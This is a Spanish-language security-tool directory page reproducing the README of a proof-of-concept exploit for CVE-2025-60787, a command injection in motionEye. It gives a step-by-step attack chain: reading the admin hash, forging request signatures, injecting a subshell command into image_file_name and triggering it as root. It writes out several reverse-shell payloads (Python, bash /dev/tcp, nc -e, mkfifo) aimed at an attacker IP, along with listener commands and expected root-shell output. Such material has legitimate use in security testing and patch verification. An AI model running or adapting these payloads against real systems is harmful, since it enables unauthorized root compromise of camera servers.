Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-60787 — MotionEye v0.43.1b4 Inyección de comandos del sistema operativo | Kitploit
Herramientas/GitHubGitHub/agent-skywalker/cve-2025-60787
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed TeamingDesarrollo de Payloads
GitHubagent-skywalker/cve-2025-60787

CVE-2025-60787

MotionEye v0.43.1b4 Inyección de comandos del sistema operativo

Ver Repositorio
1hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-60787 - MotionEye RCE

MotionEye v0.43.1b4 Inyección de Comandos del SO

Un exploit de prueba de concepto de Inyección de Comandos del SO para la vulnerabilidad en motionEye, una interfaz web para el demonio motion. La vulnerabilidad abusa del parámetro de configuración image_file_name, el cual se pasa directamente al shell sin sanitización, permitiendo la inyección arbitraria de comandos mediante la sintaxis de subshell $(command).

Aviso legal: Úselo únicamente contra sistemas para los que tenga permiso explícito de prueba. El uso no autorizado es ilegal.


Tabla de contenido

  • Cómo funciona la vulnerabilidad
  • Requisitos previos
  • Paso 1 — Localizar el hash de la contraseña de administrador
  • Paso 2 — Comprender la cadena de autenticación
  • Paso 3 — Comprender el algoritmo de firma
  • Paso 4 — Configurar el exploit
  • Paso 5 — Iniciar su listener
  • Paso 6 — Ejecutar el exploit
  • Referencia de parámetros
  • Solución de problemas

Cómo funciona la vulnerabilidad

motionEye pasa el valor de configuración image_file_name directamente al demonio motion como un patrón de nombre de archivo de shell. Motion evalúa las expresiones de subshell $(...) dentro de los nombres de archivo al momento de la captura, lo que significa que cualquier comando colocado dentro de $(...) se ejecuta como el usuario que ejecuta el proceso motion (típicamente root).

La cadena de ataque completa es:

root@kitploit:~
1. Leer el hash de admin_password de /etc/motioneye/motion.conf
         ↓
2. Derivar el hash de cookie = SHA1(admin_password_hash)
         ↓
3. Calcular la firma HMAC usando el algoritmo exacto de motionEye:
   SHA1("METHOD:path:body:key")
         ↓
4. Enviar por POST la configuración maliciosa a /config/{cam}/set/ con:
   image_file_name = $(tu_comando).%Y-%m-%d-%H-%M-%S
         ↓
5. Activar la captura a través del puerto de control de motion sin autenticación 7999
         ↓
6. Motion evalúa el nombre de archivo → el comando se ejecuta como root
         ↓
7. La reverse shell se conecta de vuelta a la máquina atacante

Requisitos previos

  • Python 3.6+
  • Acceso de red a la instancia de motionEye objetivo (puerto predeterminado 8765)
  • El hash de la contraseña de administrador de /etc/motioneye/motion.conf
  • Un listener en su máquina atacante (por ejemplo, nc)

No se requieren paquetes de Python de terceros: el exploit solo usa la biblioteca estándar.


Paso 1 — Localizar el hash de la contraseña de administrador

El archivo de configuración de motionEye almacena la contraseña de administrador como un hash SHA1. Léalo desde el objetivo:

root@kitploit:~
cat /etc/motioneye/motion.conf

Busque la línea de comentario @admin_password:

root@kitploit:~
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

El valor después de @admin_password es un hash SHA1 de la contraseña en texto plano, no la contraseña en sí. Este hash es lo que necesita para el exploit.

Tenga en cuenta también el valor webcontrol_port: este es el puerto de control de motion sin autenticación utilizado para activar las capturas:

root@kitploit:~
webcontrol_port 7999
webcontrol_localhost on
root@kitploit:~
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf
camera camera-2.conf

Paso 2 — Comprender la cadena de autenticación

motionEye utiliza un esquema de autenticación de doble hash:

root@kitploit:~
contraseña_en_texto_plano
       │
       ▼  SHA1
admin_password  ←── almacenado en motion.conf como @admin_password
       │
       ▼  SHA1
cookie_hash     ←── enviado en la cookie del navegador como meye_password_hash
       │
       ▼  utilizado como clave HMAC
request_signature ←── parámetro _signature= en cada solicitud API

El exploit deriva el hash de cookie automáticamente del hash de configuración:

root@kitploit:~
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()

Puede verificar esto manualmente:

root@kitploit:~
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052

Paso 3 — Comprender el algoritmo de firma

La firma se calcula a partir del código fuente de motionEye en
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:

root@kitploit:~
SHA1("METHOD:path:body:key")

Donde:

  • METHOD — método HTTP (POST)
  • path — URI con _signature eliminado de la cadena de consulta, parámetros ordenados, valores codificados en URL, luego filtrados a través de _SIGNATURE_REGEX
  • body — cadena JSON del cuerpo sin procesar filtrada a través de _SIGNATURE_REGEX
  • key — ya sea admin_password o admin_hash (motionEye acepta ambos), filtrado a través de _SIGNATURE_REGEX

La _SIGNATURE_REGEX elimina cualquier carácter que no esté en [a-zA-Z0-9/?_.=&{}\[\]":, -], reemplazándolos con -.


Paso 4 — Configurar el exploit

Abra exploit.py y establezca las siguientes variables al inicio:

root@kitploit:~
MOTIONEYE_URL = "http://127.0.0.1:8765"   # URL de la interfaz web de motionEye
MOTION_URL    = "http://127.0.0.1:7999"   # puerto de control de motion (sin autenticación)
USERNAME      = "admin"                    # nombre de usuario admin (predeterminado: admin)
ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"  # de motion.conf

LHOST = "10.10.16.153"   # su IP de listener — el objetivo debe poder alcanzar esta
LPORT = "4444"           # su puerto de listener

El comando de reverse shell se establece automáticamente a partir de LHOST y LPORT:

root@kitploit:~
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"

Comandos de shell alternativos — intercambie COMMAND si el predeterminado está bloqueado:

root@kitploit:~
# Bash TCP (simple, puede estar filtrado)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"

# Netcat con bandera -e
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"

# Netcat sin -e (netcat OpenBSD)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"

Paso 5 — Iniciar su listener

En su máquina atacante, inicie un listener netcat antes de ejecutar el exploit:

root@kitploit:~
nc -lvnp 4444

El exploit hace una pausa de 5 segundos después de imprimir el recordatorio del listener, dándole tiempo para cambiar de terminal.


Paso 6 — Ejecutar el exploit

root@kitploit:~
python3 exploit.py

Salida esperada:

root@kitploit:~
============================================================
  motionEye RCE — Reverse Shell
============================================================

[*] LHOST      : 10.10.16.153
[*] LPORT      : 4444
[*] Command    : python3 -c '...'

[!] Start your listener NOW:
    nc -lvnp 4444

[*] Sending payload in 5 seconds...

[*] cam=2 key=admin_password ts=1773484327292
    sig=abc123...
    status=200 resp={}

[+] Config saved! cam=2 key=admin_password

[*] Triggering snapshots via port 7999 (no auth)...
[+] cam 0 → 200 Snapshot for camera 0 Done
[+] cam 1 → 200 Snapshot for camera 1 Done
[+] cam 2 → 200 Snapshot for camera 2 Done

[+] Snapshot triggered — check your listener on 10.10.16.153:4444

En su listener debería recibir:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#

Referencia de parámetros


Solución de problemas

403 No autorizado en todas las solicitudes

La firma es incorrecta. Verifique que su valor ADMIN_HASH coincida exactamente con la línea @admin_password en motion.conf — sin espacios, sin caracteres de nueva línea.

root@kitploit:~
cat /etc/motioneye/motion.conf | grep admin_password

Las capturas se activan pero no llega el shell

La inyección en image_file_name funcionó pero la reverse shell fue bloqueada. Pruebe un COMMAND alternativo del Paso 4. También confirme que el objetivo puede alcanzar su LHOST:

root@kitploit:~
# On target
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444

El puerto 7999 rechaza la conexión

La configuración webcontrol_localhost on restringe el puerto 7999 solo a localhost. El exploit debe ejecutarse desde la máquina objetivo o a través de un túnel. Confirme con:

root@kitploit:~
ss -tlnp | grep 7999

motion.conf no legible

El archivo puede requerir privilegios elevados:

root@kitploit:~
sudo cat /etc/motioneye/motion.conf

No se encontró configuración de cámara

Verifique qué archivos de configuración de cámara existen y actualice la lista cam en el exploit si es necesario:

root@kitploit:~
ls /etc/motioneye/camera-*.conf


Referencias

  • CVE-2025-60787
  • código fuente de motionEye — utils/init.py
  • código fuente de motionEye — handlers/base.py
Descargar herramienta
ParámetroUbicaciónDescripciónEjemplo
MOTIONEYE_URLexploit.pyURL completa de la interfaz web de motionEyehttp://127.0.0.1:8765
MOTION_URLexploit.pyURL del puerto de control de motion (sin autenticación requerida)http://127.0.0.1:7999
USERNAMEexploit.pynombre de usuario admin de motionEyeadmin
ADMIN_HASHexploit.pyhash SHA1 de @admin_password en motion.conf989c5a8e...
LHOSTexploit.pyIP de su máquina atacante — el objetivo debe alcanzar esta10.10.16.153
LPORTexploit.pyPuerto en el que está su listener nc4444